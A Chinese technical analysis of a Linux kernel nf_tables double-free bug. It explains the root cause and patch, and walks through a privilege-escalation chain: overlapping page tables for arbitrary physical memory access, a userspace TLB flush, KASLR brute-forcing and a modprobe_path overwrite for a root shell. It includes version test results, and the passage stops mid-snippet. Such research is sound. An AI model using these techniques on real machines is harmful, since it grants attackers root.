影响版本:Linux v3.15 - v6.7.2。v5.15.149 / v6.1.76 / v6.6.15 / v6.7.3 已修复,包括CentOS、Debian、Ubuntu和KernelCTF等。
注意,本exp适用于v5.14.21~v6.3.13,成功率99.4%;对于v6.4及以上版本的内核,默认开启了CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
(包括 Ubuntu v6.5),本exp会失败,若关闭开选项,本exp最高可支持到v6.6.4。
测试版本:Linux-6.3.13 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
编译选项: CONFIG_USER_NS=y (设置命令sysctl kernel.unprivileged_userns_clone = 1
)
CONFIG_BINFMT_MISC=y (否则启动VM时报错)
CONFIG_NF_TABLES=y
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.3.13.tar.xz
$ tar -xvf linux-6.3.13.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
普通内核中(KernelCTF、Ubuntu 和 Debian等主要发行版),会关闭CONFIG_INIT_ON_FREE_DEFAULT_ON
,否则会将释放后的page置为NULL,会影响skb利用的部分。CONFIG_INIT_ON_ALLOC_DEFAULT_ON
是默认开启的,但是在v6.4.0版本以后会产生副作用(bad_page()
检测,导致利用失败),如果关闭CONFIG_INIT_ON_ALLOC_DEFAULT_ON
,本exp可以支持到v6.6.4。
漏洞描述:netfilter子系统nf_tables组件中存在UAF漏洞,nft_verdict_init()函数中,允许设置一个很大的verdict值(恶意值0xffff0000);nf_hook_slow() 函数中,在处理NF_DROP
(0)时,它会先释放skb数据包,并调用NF_DROP_GETERR()来修改返回值(根据verdict值设置为NF_ACCEPT
- 正值1)。后续引用skb时触发UAF,NF_HOOK()会再次释放skb。
补丁:patch 修复方法是,去掉 data->verdict.code & NF_VERDICT_MASK
,一旦出现非法的verdict值则返回错误,防止用户将verdict设置为恶意值(0xffff0000)。
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 02f45424644b4d..c537104411e7d1 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -10992,16 +10992,10 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));
switch (data->verdict.code) {
- default:
- switch (data->verdict.code & NF_VERDICT_MASK) {
- case NF_ACCEPT:
- case NF_DROP:
- case NF_QUEUE:
- break;
- default:
- return -EINVAL;
- }
- fallthrough;
+ case NF_ACCEPT:
+ case NF_DROP:
+ case NF_QUEUE:
+ break;
case NFT_CONTINUE:
case NFT_BREAK:
case NFT_RETURN:
@@ -11036,6 +11030,8 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
data->verdict.chain = chain;
break;
+ default:
+ return -EINVAL;
}
desc->len = sizeof(data->verdict);
保护机制:KASLR/SMEP/SMAP/KPTI
利用总结:构造重叠的PMD页和PTE页,PMD[0]
/PMD[1]
会覆写PTE[0]
/PTE[1]
,通过往PTE页对应的用户虚拟地址写入,来伪造PMD[0]
对应的PTE页(条目对应的是物理地址),这样就能通过往PMD对应的用户虚拟地址写入,实现任意物理地址写。
- (0)初始化:设置用户命名空间、网络接口、nftables初始化(添加rule - 比较包的前8字节是否为
\x41
,protocol字段是否为70,再添加恶意verdict值);- (0-1)预分配一个PUD,便于之后分配重叠的PMD;
- (0-2)提前注册16000个待堆喷的 PTE 页,每个PTE页含2个PTE条目(没有写入,暂且不会分配实际的PTE页,同时会预注册
16000/512
个PMD页); - (0-3)预分配 16000/512 个 PMD页,便于之后实际分配 16000 个PTE页;
- (0-4)预注册2个PMD条目(位于同一PMD页,对应不同的PTE页),对应2个PTE条目
2*512*4096 = 0x400000
; - (0-5)创建5个socket:
ip
/udp client
/udp server
/tcp client
/tcp server
;
- (1)触发Double-Free,构造重叠的PMD页和PTE页
- (1-1)分配170个干净skb(udp包),在Double-Free之间释放本skb,避免检测导致崩溃;
- (1-2)1st Double-Free skb (
SOCK_RAW
ip包,避免二次释放时崩溃),触发nftables rule释放skb; - (1-3)释放170个skb到freelist,避免Double-Free检测导致崩溃;
- (1-4)堆喷16000个PTE页,耗尽PCP
order-0
list; - (1-5)2nd Double-Free skb (包长度应该为16,但这里设置为0,触发错误来释放skb);
- (1-6)分配重叠的PMD页。
PMD[0]
/PMD[1]
会覆写PTE[0]
/PTE[1]
; - (1-7)找到重叠的PTE页对应的用户虚拟地址 -
pte_area
:如果PTE页和PMD页重叠,则PTE条目pte[0]
就会被覆写为&_pmd_area
区域中的PFN+flags
,而不是0x41
;
- (2)查找内核物理基地址 (每次扫描512页,对应1个PTE页)
- (2-1)伪造PTE页,指向待扫描的物理地址;
- (2-2)flush TLB (在子进程中调用
munmap()
取消映射,会将父进程中的TLB一起刷新); - (2-3)每次迭代扫描1个PTE页(而不是
CONFIG_PHYSICAL_ALIGN
),根据指纹查找内核物理基址;
- (3)查找
modprobe_path
物理基址- (3-1)从内核基址开始扫描
40 * 0x200000 (2MiB) = 0x5000000 (80MiB)
字节, 搜索modprobe_path
,如果没找到,则从另一个内核基址开始扫; - (3-2)伪造第2个PTE页,指向待扫描的物理地址;
- (3-3)搜索
modprobe_path
地址,并通过覆写来验证是否为正确地址;
- (3-1)从内核基址开始扫描
- (4)覆写
modprobe_path
- (4-1)猜测当前ns的PID号,将
modprobe_path
修改为"/proc/<pid>/fd/<script_fd>"
;
- (4-1)猜测当前ns的PID号,将
- (5)获取root shell
- (5-1)构造提权脚本;
- (5-2)触发执行
modprobe_path
,如果PID错误,则什么也不发生; - (5-3)如果PID正确,且提权脚本成功执行,就会顺便往
status_fd
文件中写1。
1. 总览
1-1. 利用总结
本文的利用方法参考了Dirty Pagetable blogpost,改进该方法后用于提权,并引入了一些实用的利用技巧(例如TLB flushing)。基于Dirty Pagedirectory技术(页表混淆),从用户层实施内核空间镜像攻击(KSMA)。
对各版本的内核测试结果如下:
| Kernel | Kernel Version | Distro | Distro Version | Working/Fail | CPU Platform | CPU Cores | RAM Size | Fail Reason | Test Status | Config URL |
|--------|----------------|-----------|-------------------|--------------|-------------------|-----------|----------|---------------------------------------------------------------------------------------|-------------|------------------------------------------------------------------------------------------------------------------------------------------|
| Linux | v5.4.270 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [CODE] pre-dated nft code (denies rule alloc) | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config |
| Linux | v5.10.209 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] BUG mm/slub.c:4118 | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config |
| Linux | v5.14.21 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config |
| Linux | v5.15.148 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config |
| Linux | v5.16.20 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config |
| Linux | v5.17.15 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config |
| Linux | v5.18.19 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config |
| Linux | v5.19.17 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config |
| Linux | v6.0.19 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config |
| Linux | v6.1.55 | KernelCTF | Mitigation v3 | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config |
| Linux | v6.1.69 | Debian | Bookworm 6.1.0-17 | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config |
| Linux | v6.1.69 | Debian | Bookworm 6.1.0-17 | working | AMD Ryzen 5 7640U | 6 | 32GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config |
| Linux | v6.1.72 | KernelCTF | LTS | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config |
| Linux | v6.2.? | Ubuntu | Jammy v6.2.0-37 | working | AMD Ryzen 5 7640U | 6 | 32GiB | n/a | final | |
| Linux | v6.2.16 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config |
| Linux | v6.3.13 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config |
| Linux | v6.4.16 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config |
| Linux | v6.5.3 | Ubuntu | Jammy v6.5.0-15 | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config |
| Linux | v6.5.13 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config |
| Linux | v6.6.14 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config |
| Linux | v6.7.1 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [CODE] nft verdict value incorrect is altered by kernel | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config |
1-2. 重要利用技巧
触发UAF:先添加Netfilter rule,rule中包含expression(功能是设置恶意的verdict值,使得nf_tables
内核代码解释NF_DROP
,然后释放skb,再返回NF_ACCEPT
,最后两次释放skb);然后,通过分配 migratetype
为0的16-page
IP包(目的是让buddy系统来分配,而非SLAB系统)来触发该rule的执行。
延迟二次释放:利用IP 数据包的 IP 分段逻辑。这样就能让skb在IP 分段队列中“等待”,不会被释放。避免损坏的skb触发路径崩溃,可以伪造IP 源地址 1.1.1.1 和目标地址 255.255.255.255,但这意味着需要处理反向路径转发(RPF),所以需要在网络命名空间中禁用RPF。
任意物理地址读写:采用脏页目录(Dirty Pagedirectory)技术,本质就是通过在同一物理页上分配PTE页(页表条目)和PMD页(页中间目录),构造页表混淆。利用PTE写用户页时,实际会篡改PMD中的PTE条目(物理地址),构造任意物理地址读写。
Double-free原语转化:将skb的Double-Free转化为PMD和PTE的内存重叠。这些页表页都是调用alloc_pages()
分配的,且migratetype==0 order==0
,而skb头(漏洞对象)是调用kmalloc()
分配的。通常,slab分配器用于管理的页order<=1
,PCP 分配器管理的页order<=3
,buddy系统管理的页order>=4
。为了避免麻烦,必须构造伙伴系统页(order>=4
)的double-free,以构造PTE/PMD 页面的重叠状态。如何将 kmalloc
上的double-free转化为伙伴系统页(order>=4
)的double-free呢?有两种方法:
- (1)新型页转化技术(PCP list耗尽)—— 特点是更简单、更稳定、更快速,由于PCP分配器就是一个 per-CPU freelist,如果耗尽了就会用来自伙伴系统的页重新填充。那么就可以通过将16-page页(
order-4
)释放到伙伴分配器的freelist,排空PCP list,并用来自伙伴系统freelist的64个页(order==0
)来重新填充PCP list(包含上述的16-page页)。 - (2)传统页转化技术(条件竞争)—— 本方法依赖竞争条件,只能用于QEMU等虚拟化环境,其终端IO会导致 VM 内核出现严重延迟。主要是利用
WARN()
消息会产生50-300 毫秒的延迟来触发竞争条件,将伙伴系统中的order==4
页释放到order==0
的PCP freelist。本方法在实际硬件上不起作用(延迟仅1ms左右),只能采用第1种方法。作者在最初的kernelctf 漏洞利用中使用了这种技术。
注意,在二次释放之间,需确保page的引用计数不为0,否则释放失败(内核会检测,防止二次释放)。另外,将skb对象喷射到同一CPU的skbuff_head_cache
slab cache中,以避免kernelctf中的freelist损坏检查机制,提高稳定性。
1-3. 其他利用原理
任意物理地址读写原理:利用UAF构造重叠的PTE页和PMD页。PTE页被PMD页覆盖,那么PTE页指向的物理地址实际上是PMD的PTE页地址;那么我们通过PTE来写用户页时(可以伪造PTE值,包含页权限和页物理地址),实际上篡改了PMD的PTE页;最后再通过PMD来写用户页,实际就会往伪造的物理地址写入。
刷新TLB:为了利用这个任意读写原语,需要刷新TLB。作者提出一种新的方法,从用户空间刷新Linux中的TLB——调用 fork()
,在子进程中调用 munmap()
解除PMD的地址映射,刷新父进程的 VMA。为了避免子线程退出程序时崩溃,可以让子线程休眠。
泄露物理基址:利用任意物理地址读写来爆破物理KASLR,此过程可以加速,因为物理内核基址和CONFIG_PHYSICAL_START
(0x100'0000
/ 16MiB)或CONFIG_PHYSICAL_ALIGN
(0x20'0000
/ 2MiB)是对齐的。如果内存为8G(16M对齐),只需检查2M的页就能泄露物理基址。作者采用get-sig 脚本生成了精确的内核指纹(可以跨编译器)。
计算modprobe_path
地址:通过扫描内核基址后80M内存来搜索"/sbin/modprobe" + "\x00" * ...
字符串,以找到modprobe_path
。为了验证是否找到真实的 modprobe_path
,可先覆写modprobe_path
并检查/proc/sys/kernel/modprobe
是否被修改(用户层可读)。如果开启了CONFIG_STATIC_USERMODEHELPER
防护,可转而修改"/sbin/usermode-helper"
。
获取shell:为了获取shell并逃逸用户命名空间,可覆写modprobe_path
或"/sbin/usermode-helper"
指向exp中的memfd
文件描述符(其中包含提权脚本),例如/proc/<pid>/fd/<fd>
(fd目录包含了所有该进程使用的文件描述符,也即EXP中创建的提权脚本文件)。这种方法可以使exp在只读文件系统上运行(例如perl引导的系统),本质是将字符串写入用户空间地址并执行文件(memfd_create()
创建的伪文件)。如果是在namespace中运行exp,还需要爆破EXP所属的PID。爆破速度很快,因为没有修改PTE的物理地址,所以不需要刷新TLB。
- 提权脚本:以root身份执行一个
/bin/sh
进程,并hook exp的文件描述符(/dev/<pid>/fd/<fd>
)指向shell的文件描述符,以实现命名空间的逃逸。本方法的优点是通用,可以在本地或反向shell上工作,不依赖文件系统或其他形式的隔离。
2. 背景知识
2-1. nf_tables
介绍:nf_tables
是iptables
防火墙的后端内核模块,iptables本身也是ufw
的后端。为了决定哪些数据包可通过防火墙,nftables 使用了用户发出rule的状态机。
(1)Netfilter 层次结构
层次:table (哪种协议) -> chains (触发方式) -> rules (状态机函数) -> expressions (状态机指令)
详细知识可参考"How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables."
(2)Netfilter Verdicts
与本文相关的是Netfilter Verdicts,verdict就是Netfilter rule对包是否通过做出的决定,丢弃或接收。如果丢弃就停止处理该包,如果接收则继续处理数据包,直至通过所有规则。verdict值如下:
- NF_DROP:丢弃数据包,停止处理。
- NF_ACCEPT:接受数据包,继续处理。
- NF_STOLEN:停止处理,钩子需要释放它。
- NF_QUEUE:让用户态应用程序处理它。
- NF_REPEAT:再次调用钩子。
- NF_STOP(已弃用):接受数据包,停止在 Netfilter 中处理它。
2-2. sk_buff (skb)
也即 sk_buff
结构,用于描述网络数据(包括 IP 数据包、以太网帧、WiFi 帧等),简称为 skb。描述数据包的有2个重要对象:
sk_buff
对象本身,包含skb处理的元数据;sk_buff->head
对象,包含实际的包内容,例如IP头和IP数据包主体。
为了使用IP头中的值(因为IP数据包是在内核中处理的),内核可通过ip_hdr()
对IP头结构和sk_buff->head
对象进行类型双关。该基址有助于快速解析header,在二进制文件ELF头解析中也用到了该技巧。详细知识可参见"struct sk_buff - The Linux Kernel"。
2-3. IP数据包分片
IPv4数据包支持分片传输,片段也是常规的IP包,只不过IP头中不包含完整的数据包大小,并在IP头中的IP_MF
flag设置标记。
IP数据包长度为iph->len = sizeof(struct ip_header) * frags_n + total_body_length
。Linux内核中,单个IP数据包的所有碎片都存在同一棵红黑树中(称为IP frag队列),直到接收完所有碎片。重组包时需要IP分片的偏移:iph->offset = body_offset >> 3
,body_offset
就是最终IP包中的偏移。注意,片段数据都是8字节对齐的,因为高3位用作flag(即IP_MF
和IP_DF
)。例如,如果用2个大小为8和56字节的片段来传输64字节的数据,这2个片段初始化如下:
iph1->len = sizeof(struct ip_header)*2 + 64;
iph1->offset = ntohs(0 | IP_MF); // set MORE FRAGMENTS flag IP_MF=0x2000 表示是分片包
memset(iph1_body, 'A', 8);
transmit(iph1, iph1_body, 8);
iph2->len = sizeof(struct ip_header)*2 + 64;
iph2->offset = ntohs(8 >> 3); // 高3位用作flag;最后一个包不需要设置IP_MF
memset(iph2_body, 'A', 56);
transmit(iph2, iph2_body, 56);
关于IP分片的详细知识可参见"IP Fragmentation in Detail"。
2-4. 页分配
Linux内核主要有3种分配器:
- buddy分配器——调用
alloc_pages()
,可分配任何order页(0->10),从跨CPU的全局页池中分配页; - per-cpu page (PCP) 分配器——调用
alloc_pages()
,可分配order为0->3的页; - slab分配器——调用
kmalloc()
,可分配order为0->1的页(甚至更小的内存),从特点的CPU freelist/caches中分配。
PCP分配器存在的原因:当一个CPU从全局页池中分配页面时,伙伴系统会加锁,导致另一个CPU分配页面时阻塞。PCP分配器通过设置较小的CPU页池(由伙伴系统批量分配)来避免锁竞争,减小阻塞几率。
更多分配器知识可参见"Reference: Analyzing Linux kernel memory management anomalies"。
2-5. 物理内存
(1)物理内存到虚拟内存的映射
物理内存是RAM芯片使用的内存,虚拟内存是CPU上运行的程序与物理内存交互的方式。虚拟地址范围可以大于物理地址范围(因为空的虚拟页不需要映射),1个物理页可以映射到多个虚拟页。这意味着,在只有4G物理内存的系统上,每个进程可以使用128T的虚拟内存。理论上,可以将一个物理页(4096个 \x41
字节)映射到所有128T的用户虚拟页上。当一个程序往虚拟页写入1个\x42
字节时,会执行写时拷贝(COW)、创建第2个物理页,并将该页映射到对应的虚拟页。
虚拟地址转换到物理地址:CPU使用页表。例如,用户程序读取虚拟地址0xDEADBEEF
,指令是mov rax, [0xDEADBEEF]
,需要将虚拟地址0xDEADBEEF
转换到RAM上的物理地址。CPU首先在Translation Lookaside Buffer (TLB,存在于MMU中) 中查找,TLB上存储着最近的虚拟地址到物理地址的转换。如果虚拟地址0xDEADBEEF
最近被访问过,则直接从TLB上获取物理地址,不需要访问页表。否则需要遍历页表来查找物理地址。
更多物理内存的资料可参见memory layout page from a Harvards Operating Systems course。
(2)页表
页表就是一个嵌套数组,物理地址位于底部数组中。下图使用9位的页表索引(因为29=512,512*8=4096 该页表值适合单个页),这里以4级页表为例(内核还支持5级、3级页表)。 虚拟地址可以被分为5部分,9|9|9|9|12, 第一个9是pgd表的索引.可以得到pgd项; 第二个9是pud表的索引,可以得到pud项;第三个9是pmd表的索引,可以得到pmd项;第四个9是pte表的索引,可以得到pte项;第五个12是页内偏移。
嵌套数组的优点:节省内存。不需要为128T虚拟地址分配一个巨大的数组,而是将其划分为几个较小的数组,每一层都有一个较小的bailiwick。这意味着,负责未分配区域的表不需要分配内存。
遍历表的速度非常快,因为直接是数组访问,效率为O(1)。但速度还是赶不上TLB。页表的PGD的基地址存储在 CR3
寄存器中,只有特权进程能访问,当内核调度器使CPU切换到另一个进程的上下文时,内核会将 CR3
设置为virt_to_phys(current->mm->pgd)
。
CPU查找页表的过程可参见Wikipedia page on control registers。
2-6. TLB 刷新
当内核空间中虚拟地址的页表变化时,TLB也需要更新。修改页表时会触发内核中的刷新函数,清空TLB(可能仅清空特定地址范围)。下一次访问虚拟地址时,会将地址转换保存到TLB中。
但有时exp会以意想不到的方式修改页表,例如利用UAF覆写PTE,这时不会触发TLB刷新函数,因为是利用漏洞来篡改的页表。因此,我们需要从用户空间间接刷新TLB,否则TLB将包含过时的缓存条目。本文介绍了新的TLB刷新方法。
TLB详细知识可参见"Translation lookaside buffer - Wikipedia"。
2-7. 脏页表
脏页表(Dirty Pagetable)是"Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel" 中提到的一种新技术,也即通过覆写PTE来进行KSMA攻击。这篇文章提到了两种覆写PTE的场景:Double-Free和UAF写。
本文还引入了一些新的点,例如页表如何工作、TLB刷新、POC代码、物理KASLR的工作原理和PTE的格式,此外还介绍了这种技术的变体,脏页目录(Dirty Pagedirectory)。
2-8. 覆写 modprobe_path
原理:在编译时可通过CONFIG_MODPROBE_PATH
设置modprobe_path
变量的值(默认为"/sbin/modprobe"
),后面填充NULL补齐到KMOD_PATH_LEN
字节。当用户尝试执行头部具有未知magic字节的二进制文件时,会用到该变量。例如,执行头部为FE45 4C46
(".ELF"
)的二进制文件时,内核将查找与该magic字节匹配的已注册的binary handler,如果是ELF就会选择ELF binfmt handler;如果已注册的binfmt无法识别,就会调用modprobe_path
,它将查找名为binfmt-%04x
的内核模块,其中%04x
是文件中前 2 个字节的十六进制表示形式。
利用方法:可将modprobe_path
覆写为/tmp/privesc_script.sh
,然后执行错误格式的文件(例如ffff ffff
),内核就会以root身份运行/tmp/privesc_script.sh -q -- binfmt-ffff
,提权。
防护机制及绕过方法:但是内核引入了CONFIG_STATIC_USERMODEHELPER_PATH
防护机制,这样就无法覆写modprobe_path
了。其原理是将每个执行的二进制文件路径设置为类似busybox 的二进制文件,其行为根据传递的argv[0]
文件名而有所不同。如果覆写modprobe_path
,则只有argv[0]
文件名不同,类似 busybox 的二进制文件无法识别该值,因此不会执行。绕过方法是覆写内核内存中只读的"/sbin/usermode-helper"
字符串。
2-9. KernelCTF
KernelCTF 是 Google 运行的一个程序,旨在公开(强化的)Linux 内核的新利用技术。有三个版本:LTS(使用现有缓解措施强化的长期稳定内核)、缓解措施(在现有缓解措施之上使用实验性缓解措施强化的内核)和 COS(容器优化的操作系统)。为了破解KernelCTF,需要读取root命名空间中的/flag
,所以既要逃逸命名空间沙箱(nsjail
),又要提权。
更多信息可参见"KernelCTF rules | security-research"。
3. 漏洞分析
3-1. 寻找漏洞
作者在阅读nf_tables代码时,注意到nf_hook_slow()
函数,该函数循环遍历chain中的rule,并在NF_DROP
发出时立即停止评估(返回)。在处理NF_DROP
时,它会释放数据包,并调用NF_DROP_GETERR()来设置返回值。如果将ret返回值设置为NF_ACCEPT
,就会触发Double-Free。
// 当skb触发chain时,遍历现有的rule
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;
// 遍历chain中的rule
for (; s < e->num_hook_entries; s++) {
// 获得rule的verdict值
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
switch (verdict & NF_VERDICT_MASK) { // NF_VERDICT_MASK=0x000000ff verdict设置为0xffff0000
case NF_ACCEPT:
break; // 开始下一条 rule
case NF_DROP:
kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP); // 释放skb
// 检查 verdict 是否含有 drop err
ret = NF_DROP_GETERR(verdict); // 调用 NF_DROP_GETERR() 设置返回值 !!!!!!!!!!!!!
if (ret == 0)
ret = -EPERM;
// 立刻返回,不再评估其他rule
return ret;
// [snip] alternative verdict cases
default:
WARN_ON_ONCE(1);
return 0;
}
}
return 1;
}
static inline int NF_DROP_GETERR(int verdict)
{
return -(verdict >> NF_VERDICT_QBITS); // NF_VERDICT_QBITS = 16 -(0xffff0000 >> 16)=FFFF 0001
}
3-2. 漏洞分析
漏洞本质:当为netfilter hook创建verdict对象时,内核允许正的drop错误值。攻击者可以构造如下情况,当从hook/rule返回NF_DROP
时,nf_hook_slow()
会释放skb对象,并将返回值修改为NF_ACCEPT
(就像chain中每个hook/rule都返回NF_ACCEPT
一样),进而导致nf_hook_slow()
的调用者误解,继续处理数据包最终导致Double-Free。
nft_verdict_init() 创建verdict对象:在此处伪造verdict值。
// userland API (netlink-based) handler —— 可以初始化 verdict
static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
struct nft_data_desc *desc, const struct nlattr *nla)
{
u8 genmask = nft_genmask_next(ctx->net);
struct nlattr *tb[NFTA_VERDICT_MAX + 1];
struct nft_chain *chain;
int err;
// [snip] initialize memory
// 攻击者可将该值设置为: data->verdict.code = 0xffff0000
switch (data->verdict.code) {
default:
// data->verdict.code & NF_VERDICT_MASK == 0x0 (NF_DROP)
switch (data->verdict.code & NF_VERDICT_MASK) { // #define NF_VERDICT_MASK 0x000000ff !!!!!!!!!!!!!! 漏洞根源——允许用户设置很大的非法的verdict值
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
break; // happy-flow 从这里跳出,verdict值被设置为恶意值
default:
return -EINVAL;
}
fallthrough;
case NFT_CONTINUE:
case NFT_BREAK:
case NFT_RETURN:
break; // happy-flow
case NFT_JUMP:
case NFT_GOTO:
// [snip] handle cases
break;
}
// 成功将 verdict 值设置为 0xffff0000
desc->len = sizeof(data->verdict);
return 0;
}
nf_hook_slow() :遍历rule,修改返回值,触发漏洞。
// 当skb触发chain时,遍历现有的rule
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;
for (; s < e->num_hook_entries; s++) {
// 已构造恶意的rule来设置verdict值: verdict = 0xffff0000
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
// 0xffff0000 & NF_VERDICT_MASK == 0x0 (NF_DROP)
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break;
case NF_DROP:
// double-free的第一次释放
kfree_skb_reason(skb,
SKB_DROP_REASON_NETFILTER_DROP);
// NF_DROP_GETERR(0xffff0000) == 1 (NF_ACCEPT) 返回值被改为了1
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;
// 返回 NF_ACCEPT, 继续处理数据包
return ret;
// [snip] alternative verdict cases
default:
WARN_ON_ONCE(1);
return 0;
}
}
return 1;
}
NF_HOOK():如果状态为NF_ACCEPT
,则调用回调函数。
static inline int NF_HOOK(uint8_t pf, unsigned int hook, struct net *net, struct sock *sk,
struct sk_buff *skb, struct net_device *in, struct net_device *out,
int (*okfn)(struct net *, struct sock *, struct sk_buff *))
{
// 调用 nf_hook_slow()
int ret = nf_hook(pf, hook, net, sk, skb, in, out, okfn);
// if skb passes rules, handle skb, and double-free it
if (ret == NF_ACCEPT)
ret = okfn(net, sk, skb); // <--- 继续处理数据包最终导致Double-Free
return ret;
}
3-3. 漏洞影响与利用
影响:会导致两个对象的Double-Free,一是skbuff_head_cache
cache中的 sk_buff
对象,二是大小变化的sk_buff->head
对象,范围是kmalloc-256
和4-order
页(65536字节)之间。
分配漏洞对象:sk_buff->head
对象是通过调用kmalloc_reserve() -> __alloc_skb()
分配的,其大小直接受网络数据包大小的影响,因为该对象包含数据包内容。因此,如果发送40k的数据包,内核就会从伙伴系统分配4-order页。
复现该漏洞时会导致内核崩溃,因为释放skb时,skb中某些字段会被破坏,需要避免使用这些字段,才能获得稳定的Double-Free。
4. 利用技巧
4-1. 伪造页refcount
页释放检查:两次释放页时,内核会检查页的refcount值:
void __free_pages(struct page *page, unsigned int order)
{
/* get PageHead before we drop reference */
int head = PageHead(page);
if (put_page_testzero(page)) // [1] 通常在第一次释放page时,其refcount为1;如果第二次释放该page时refcount递减后小于0,则不会释放该页(put_page_testzero()返回false),甚至在配置了CONFIG_DEBUG_VM的内核中会触发`BUG()`
free_the_page(page, order);
else if (!head)
while (order-- > 0) // [2] 子页将被释放,直到`order-- == 0`
free_the_page(page + (1 << order), order);
}
[2]
处,由于第1个页释放后,order被置为0,因此在第2次释放时不会释放任何页,因为order-- == -1
。
解决办法:在第一次释放page后,再次分配一个page(相同大小的对象即可,例如slab或者页表),这样就能二次释放该页。代码如下:
static void kref_juggling(void)
{
struct page *skb1, *pmd, *pud;
skb1 = alloc_page(GFP_KERNEL); // refcount 0 -> 1
__free_page(skb1); // refcount 1 -> 0
pmd = alloc_page(GFP_KERNEL); // refcount 0 -> 1
__free_page(skb1); // refcount 1 -> 0
